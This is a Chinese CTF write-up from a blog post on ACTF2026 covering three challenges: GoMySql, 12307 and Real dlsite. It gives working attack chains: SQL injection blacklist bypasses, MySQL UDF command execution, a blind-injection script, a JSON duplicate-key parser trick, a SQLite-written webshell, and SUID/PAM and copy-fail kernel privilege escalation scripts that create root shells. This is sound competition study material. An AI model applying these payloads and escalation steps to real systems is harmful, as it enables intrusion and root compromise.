Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4
3395 字
17 分钟
ACTF2026 wp
2026-05-17
统计加载中...

GoMySql Writeup#


一、Web 层分析#

1. 基本信息#

逆向 remote_myapp.bin 可以拿到硬编码 DSN:

root:root123456@tcp(localhost:3306)/testdb?parseTime=true&multiStatements=true&allowAllFiles=false

路由只有三个:

/
/calc
/draw

其中重点在 /calc


2. /calc 的关键逻辑#

/calc 会把用户输入包装成 SQL 表达式:

SELECT %s;

同时 DSN 中开启了:

multiStatements=true

这意味着,只要能够绕过过滤,就可以通过一条请求执行多条 SQL 语句。

例如理论上可以构造:

1;SHOW DATABASES;

最终后端实际执行的效果类似于:

SELECT 1;
SHOW DATABASES;

3. 黑名单分析#

/calc 会先把输入转换成大写,然后进行黑名单检查。

黑名单包括:

INSERT
UPDATE
OUTFILE
DUMPFILE
FUNCTION
SCHEMA
_
FLAG
PREPARE
DELETE
DROP
ALTER
CREATE
UNION
SELECT
=
@@
SET
INTO

看起来限制很多,但仍然留下了几个关键语法:

SHOW
USE
DESC
TABLE

这些关键字都没有被拦截。

尤其是 TABLE 表名 很关键。

在 MySQL 中:

TABLE users;

等价于:

SELECT * FROM users;

但是输入中不需要出现 SELECT,因此可以绕过黑名单。

所以这题的本质是:

黑名单 SQL 注入 + MySQL 多语句执行绕过。


4. /draw 的情况#

/draw 中有一个自定义模板引擎,支持类似下面的语法:

<\ func('arg'); unsafe />

其中确实存在 run(cmd) 之类的执行函数,最后会走:

/bin/sh -c <cmd>

但是 /draw 对输入做了额外限制,直接构造可用标签并不方便。

实际解题过程中,这条线不是主要利用点,更像是干扰项。


二、通过 SQL 注入拿到命令执行#

1. 多语句探测#

由于 multiStatements=true,可以先通过如下语句探测数据库结构:

1;SHOW DATABASES;

切换数据库:

1;USE testdb;SHOW TABLES;

查看表结构:

1;USE testdb;DESC 表名;

读取表内容:

1;USE testdb;TABLE 表名;

这里的重点是 TABLE 表名,因为它可以在不出现 SELECT 的情况下读取表内容。


2. 利用 UDF 拿命令执行#

最终利用方向是 MySQL UDF。

整体思路如下:

  1. 上传 do_system_udf.so
  2. 在 MySQL 中注册 UDF。
  3. 通过 do_system() 执行系统命令。

注册 UDF:

CREATE FUNCTION do_system RETURNS INTEGER SONAME 'do_system_udf.so';

之后即可执行命令:

SELECT do_system('id');

实际连接目标后确认身份:

uid=100(mysql) gid=101(mysql) groups=101(mysql)

也就是说,Web 层 RCE 拿到的是 mysql 用户权限。


三、本地提权分析#

1. 目标环境#

拿到 shell 后先摸环境。

当前用户:

mysql

系统版本:

Debian 12 bookworm

内核版本:

Linux 46b81d0535c2 4.18.0-240.el8.x86_64

关键 SUID 文件:

/usr/bin/su
/usr/bin/mount
/usr/bin/passwd
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool

其中最特殊的是:

/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool

这个文件是 SUID root,并且会调用 PAM。


2. auth_pam_tool 分析#

逆向 auth_pam_tool 后可以确认几个关键点。

首先,它很早就会执行:

setreuid(0, 0);

也就是说,后续逻辑会以 root 权限运行。

其次,它默认使用的 PAM service 名称是:

mysql

但是系统中不存在:

/etc/pam.d/mysql

因此 PAM 会 fallback 到:

/etc/pam.d/other

这就给了一个提权思路:

如果能够覆盖 /etc/pam.d/other,再触发 auth_pam_tool,就可以让 PAM 模块以 root 身份执行我们指定的逻辑。


3. 为什么不直接打自定义 service#

一开始尝试过构造自定义 service,例如:

/tmp/mysvc
../../tmp/mysvc

然后把 service 名传给 auth_pam_tool

但是实际触发时,auth_pam_tool 仍然表现得像是在走普通密码认证,并没有稳定加载我们自定义的 PAM 配置。

因此最后放弃硬怼自定义 service,换成更稳定的方式:

直接覆盖 /etc/pam.d/other


四、使用 copy-fail 覆盖 PAM 配置#

1. 利用方式#

目标容器里没有 python3,所以不能直接把 Python 版 PoC 扔上去跑。

最终做法是:

  1. 本地把 copy-fail PoC 改写成 C 版本。
  2. 编译成静态 ELF。
  3. 上传到远端 /tmp/copyfail
  4. 先对 /tmp/probe 做写入行为标定。
  5. 确认 step=4 可以稳定连续覆盖。
  6. 使用它覆盖 /etc/pam.d/other

2. 写入的 PAM 配置#

最终写入 /etc/pam.d/other 的内容如下:

auth sufficient pam_exec.so seteuid /tmp/pe.sh
account sufficient pam_permit.so
password sufficient pam_permit.so
session sufficient pam_permit.so

第一行是核心:

auth sufficient pam_exec.so seteuid /tmp/pe.sh

含义是:

  • 认证阶段加载 pam_exec.so
  • 使用 seteuid 保持有效 UID
  • 执行 /tmp/pe.sh
  • 如果执行成功,则认证通过

由于触发者是 SUID root 程序,所以 /tmp/pe.sh 会以 root 身份执行。


3. 准备 root 脚本#

提前写入 /tmp/pe.sh

#!/bin/sh
id >/tmp/pid
cp /bin/sh /tmp/r
chmod 4755 /tmp/r
cat /flag >/tmp/f 2>/tmp/e
chmod 644 /tmp/pid /tmp/f /tmp/e 2>/dev/null
exit 0

这个脚本做了几件事:

  1. 把当前身份写入 /tmp/pid
  2. 复制 /bin/sh/tmp/r
  3. /tmp/r 加上 SUID 权限。
  4. 读取 /flag/tmp/f
  5. 调整输出文件权限,方便后续读取。

五、触发提权#

覆盖完 /etc/pam.d/other 后,再次调用:

/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool

由于默认 service 仍然是:

mysql

而系统中不存在:

/etc/pam.d/mysql

所以 PAM 会 fallback 到:

/etc/pam.d/other

也就是我们刚刚覆盖的配置。

最终触发:

pam_exec.so seteuid /tmp/pe.sh

/tmp/pe.sh 以 root 身份执行。


六、提权结果#

成功后,远端生成三个关键文件:

/tmp/pid
/tmp/r
/tmp/f

其中:

/tmp/pid

记录执行身份,结果为:

uid=0(root) gid=101(mysql)

/tmp/r 是 SUID shell。

/tmp/f/flag 的内容。

验证 SUID shell:

/tmp/r -p -c 'id'

结果类似:

uid=100(mysql) gid=101(mysql) euid=0(root) groups=101(mysql)

说明已经获得 euid=0


七、最终读取 flag#

可以直接读取 /tmp/f

cat /tmp/f

得到:

ACTF{y0u1_sqI_Y0ur_Go!!!!!_dxqmcFIr4ZCpo5OeNqSL}

也可以使用 SUID shell 读取:

/tmp/r -p -c 'cat /flag'

12307 Writeup#

题目概览#

题目是一个模拟购票系统,整体利用链比较长,核心流程为:

  1. 伪造移动端身份。
  2. 下单进入候补状态。
  3. 利用后台票价重算接口中的 SQL 注入盲注数据。
  4. 构造 claim_proof 注入权限声明。
  5. 激活候补席位。
  6. 利用 JSON 重复键解析差异绕过校验。
  7. 通过打印驱动读取 /flag

一、绕过移动端身份验证#

首先需要绕过移动端身份验证。

接口:

POST /api/mobile/identity/continue

提交 payload:

payload = {
"trustLevel": ["mobile", "partner", "settlement"],
"continuation": {"fake": True}
}

这里的关键是触发后端的:

partnerContinuation()

通过伪造合作方续期,可以获得一个可用会话。


二、创建候补订单#

接下来订一张票。

需要注意:

G7608 次列车的商务座余票为 0

因此选择商务座时,订单会进入候补状态。

先获取 waitlist_session

POST /api/mobile/orders/hold

然后创建订单:

POST /api/mobile/orders

示例数据:

order_data = {
"trainNo": "G7608",
"seatClass": "business",
"passenger": {
# passenger info
}
}

这里选择:

seatClass = business

就是为了强制让订单进入候补逻辑。


三、后台票价重算接口 SQL 注入#

漏洞接口:

POST /api/desk/fares/reprice

问题出在:

fare_scope_expression()

该函数接受如下格式:

{
"mode": "legacy-rank",
"expr": "..."
}

其中 expr 会被直接拼接到 ORDER BY 子句中。

因此可以利用排序结果作为布尔判断依据。


四、利用 bucket 字段做布尔盲注#

接口返回中存在 bucket 字段,可以用它判断条件真假。

判断规则:

north-window → BJP 排第一 → True
local-window → HGH 排第一 → False

所以可以构造:

payload = {
"mode": "legacy-rank",
"expr": "IF(condition, 'BJP', 'HGH')"
}

如果响应中出现:

north-window

说明条件为真。

如果出现:

local-window

说明条件为假。


五、盲注提取 claim 数据#

需要盲注提取:

claim_salt
claim_digest 前 12 位

示例脚本:

def blind_extract():
extracted = ""
for pos in range(1, 13):
for ch in charset:
payload = {
"mode": "legacy-rank",
"expr": f"IF(SUBSTRING(claim_digest,{pos},1)='{ch}', 'BJP', 'HGH')"
}
resp = requests.post(
"http://target/api/desk/fares/reprice",
json=payload
)
if "north-window" in resp.text:
extracted += ch
break
return extracted

拿到数据后构造:

claim_proof = f"CP-{claim_salt}-{claim_digest[:12]}"

这个 claim_proof 后续会用于翻转多个数据库状态,并注入布局权限声明。


六、激活候补席位#

使用新的 waitlist_session 激活订单:

POST /api/mobile/waitlist/pulse

数据:

pulse_data = {
"orderId": order_id,
"state": "boarding"
}

然后建立 WebSocket 连接获取频道:

ws = websocket.connect(
"ws://target/api/connect/boarding?stationCode=HGH"
)

七、JSON 重复键解析差异#

关键漏洞在:

verify_carrier_seal()

这个函数会对同一个 JSON 解析两次。

第一次:

public_view

使用“第一个键获胜”的逻辑,类似 Python 的 object_pairs_hook

第二次:

render_view

使用正常 JSON 解析逻辑,也就是“最后一个重复键获胜”。

因此可以构造重复键:

{
"printProfile": "counter-copy",
"printer": "thermal-standard",
"printProfile": "clearing-batch",
"printer": "line-printer",
"driverProgram": "/usr/bin/base64",
"driverArgument": "/flag"
}

第一次解析看到的是:

{
"printProfile": "counter-copy",
"printer": "thermal-standard"
}

可以通过校验。

第二次真正使用时看到的是:

{
"printProfile": "clearing-batch",
"printer": "line-printer",
"driverProgram": "/usr/bin/base64",
"driverArgument": "/flag"
}

从而控制打印驱动读取 /flag


八、构造恶意 carrierSeal#

接口:

POST /api/corporate/receipts/prepare

恶意 payload:

malicious_payload = {
"carrierSeal": {
"payload": json.dumps({
"printProfile": "counter-copy",
"printer": "thermal-standard",
"printProfile": "clearing-batch",
"printer": "line-printer",
"driverProgram": "/usr/bin/base64",
"driverArgument": "/flag"
})
}
}

这里利用重复键,使得校验视图和渲染视图不一致。


九、触发打印并读取结果#

创建清算批次:

POST /api/corporate/reconciliation

数据:

reconcile_data = {
"type": "carrier-closeout",
"template": "{{reconciliation.receipt}}"
}

调度结算:

POST /api/corporate/settlement/schedule

最后轮询结果:

GET /api/corporate/reconciliation/{batch_id}

返回内容中即可拿到 /flag 的 base64 结果,解码即可。


Real dlsite Writeup#

题目概览#

题目是一个类网盘 / 文件管理系统,主要包含两个部分:

  1. 先通过 /manage 后台和 SQLite 写文件拿到 PHP RCE。
  2. 再利用 go-drive 配置和 task runner panic,切到 app 用户命令执行。
  3. 最后利用 CVE-2026-31431 copy-fail patch /usr/bin/su
  4. 通过 cron 绕过 NoNewPrivs,最终读取 root flag。

一、进入 /manage 后台#

/manage 提交空密码对应的 hash 后,可以成功登录后台。

登录后可以任意执行 SQL 语句。

由于目标使用的是 SQLite,并且 SQLite 版本支持:

VACUUM INTO '/path/to/file';

因此可以通过 SQLite 写文件。

这一步可以落地一个 WebShell,例如写入 ws.php


二、用 ws.php 拿到 PHP RCE#

通过 SQLite 写入 ws.php 后,可以获得 PHP 层面的命令执行。

但是 PHP RCE 受到多重限制:

open_basedir
disable_functions
NoNewPrivs

所以直接使用 PHP RCE 的能力非常有限。

接下来需要转向利用 go-drive 本身,拿到更稳定的 app 用户命令执行。


三、利用 go-drive 配置拿 app 用户 RCE#

1. 登录 /new 后台#

使用默认账号登录:

admin / 123456

2. 新建两个 fs drive#

创建两个 fs 类型 drive:

appx -> ../../../../app
tmpx -> ../../../../tmp

作用分别是:

  • appx:用于访问和覆盖 /app 目录。
  • tmpx:用于访问 /tmp 目录。

3. 覆盖 /app/config.yml#

修改 /app/config.yml,在 thumbnail.handlers 中插入一个新的 shell handler,只匹配 .cmd 文件。

核心配置如下:

type: shell
tags:
file-types: cmd
config:
shell: sh /tmp/cmd.sh
mime-type: text/plain
write-content: false
max-size: -1
timeout: 30s

这段配置的作用是:

当访问 .cmd 文件缩略图时,go-drive 会调用:

sh /tmp/cmd.sh

从而获得 app 用户命令执行。


4. 触发 go-drive 重启使配置生效#

配置写入后不会立即生效,需要让 go-drive 重启。

做法是:

  1. 写一个恶意 script drive
  2. 让它的 save() 返回 null
  3. 对这个 drive 发起一次写操作。
  4. 触发 go-drive task runner panic。
  5. supervisor 自动重启 go-drive。
  6. 新配置生效。

5. 触发 app 用户命令执行#

配置生效后,只需要访问:

/new/thumbnail/tmpx/xxx.cmd?_k=...

就会触发 thumbnail handler。

最终执行:

sh /tmp/cmd.sh

此时获得稳定的 app 用户命令执行。


四、评估本地提权路线#

拿到 app 用户 shell 后,先确认环境。

当前身份:

uid=1000(app)

关键限制:

NoNewPrivs=1

也就是说,当前 webshell 进程中直接执行 SUID 程序不会获得提权效果。

继续检查发现:

StorageBox 的 SUID 在当前 shell 下失效
/usr/bin/su 存在,权限为 4755

同时验证 AF_ALG 可用:

socket(AF_ALG, SOCK_SEQPACKET, 0)
bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

这两步都成功,说明目标环境是 CVE-2026-31431 copy-fail 的可利用候选。


五、使用 CVE-2026-31431 patch /usr/bin/su#

这里使用公开 PoC 的思路。

Theori 的 PoC 本质上是:

通过 copy-fail 把目标 SUID ELF 覆盖成一个极小 launcher。

原版 launcher 最后会执行:

/bin/sh

这里将内置字符串改成:

/tmp/x

然后用 copy-fail 写入:

/usr/bin/su

这样 /usr/bin/su 就被替换成了一个 SUID root launcher。

当它被执行时,会以 root 权限执行:

/tmp/x

六、为什么不能直接执行 patched su#

虽然 /usr/bin/su 已经被 patch 成 launcher,但在当前 app webshell 中直接执行它没有效果。

原因是当前进程存在:

NoNewPrivs=1

这个标志会导致子进程无法通过 SUID 获得新的权限。

也就是说:

/usr/bin/su

在当前 shell 里执行,不会真正提权。

所以需要找一个不继承当前 NoNewPrivs 的执行入口。


七、利用 app 用户 cron 绕过 NoNewPrivs#

关键观察:

crontab 命令存在
app 用户可以安装自己的 crontab
cron 拉起的进程不会继承当前 webshell 的 NoNewPrivs=1

因此可以通过 cron 触发 patched /usr/bin/su


1. 准备 root 执行脚本 /tmp/x#

/tmp/x 中写入要以 root 执行的命令。

例如:

#!/bin/sh
id > /tmp/proofroot
cat /root/0-0/flag > /tmp/flagroot
chmod 0644 /tmp/flagroot
exit 0

2. 安装 app 用户 cron#

准备 cron 内容:

cat /tmp/sucmds | /usr/bin/su

由于此时 /usr/bin/su 已经被 patch 成 SUID root launcher,cron 到点执行时流程如下:

  1. cron 以 app 用户身份执行任务。
  2. 执行 /usr/bin/su
  3. /usr/bin/su 是 SUID root。
  4. launcher 以 root 身份执行 /tmp/x
  5. /tmp/x 读取 root flag 并写入 /tmp/flagroot

八、提权结果#

实际观察到:

/tmp/proofroot owner 变成 0
/tmp/flagroot owner 变成 0

说明 /tmp/x 已经以 root 身份执行成功。

读取:

cat /tmp/proofroot

可以看到 root 身份。

读取:

cat /tmp/flagroot

即可获得最终 flag。


九、总结#

这题的完整利用链可以分成三段。

第一段:从后台到 PHP RCE#

  1. 通过 /manage 空密码 hash 登录后台。
  2. 利用 SQLite VACUUM INTO 写入 ws.php
  3. 访问 ws.php,获得 PHP RCE。

第二段:从 PHP RCE 到 app 用户 RCE#

  1. 登录 /new 后台。
  2. 新建 appxtmpx 两个 fs drive。
  3. 覆盖 /app/config.yml,在 thumbnail.handlers 中加入 shell handler。
  4. 构造恶意 script drive,让 save() 返回 null
  5. 触发一次写操作,使 go-drive task runner panic。
  6. supervisor 自动重启 go-drive,新配置生效。
  7. 访问 .cmd 文件缩略图,触发 sh /tmp/cmd.sh,获得 app 用户 RCE。

第三段:从 app 用户到 root flag#

  1. 使用 CVE-2026-31431 copy-fail patch /usr/bin/su
  2. /usr/bin/su 替换成 SUID root launcher。
  3. 由于当前 webshell 存在 NoNewPrivs=1,不能直接执行 patched su
  4. 安装 app 用户 cron,让 cron 执行 patched /usr/bin/su
  5. cron 拉起的进程不继承当前 webshell 的 NoNewPrivs 限制。
  6. patched /usr/bin/su 以 root 权限执行 /tmp/x
  7. /tmp/x 读取 root flag,并写入 /tmp/flagroot
  8. 最后读取 /tmp/flagroot,获得最终 flag。

核心点有三个:

  1. SQLite VACUUM INTO 写文件。
  2. go-drive thumbnail handler 配置劫持。
  3. CVE-2026-31431 + cron 绕过 NoNewPrivs
ACTF2026 wp
https://ymsora.com/posts/actf2026/
作者
萦梦sora~X
发布于
2026-05-17
许可协议
Unlicensed

部分信息可能已经过时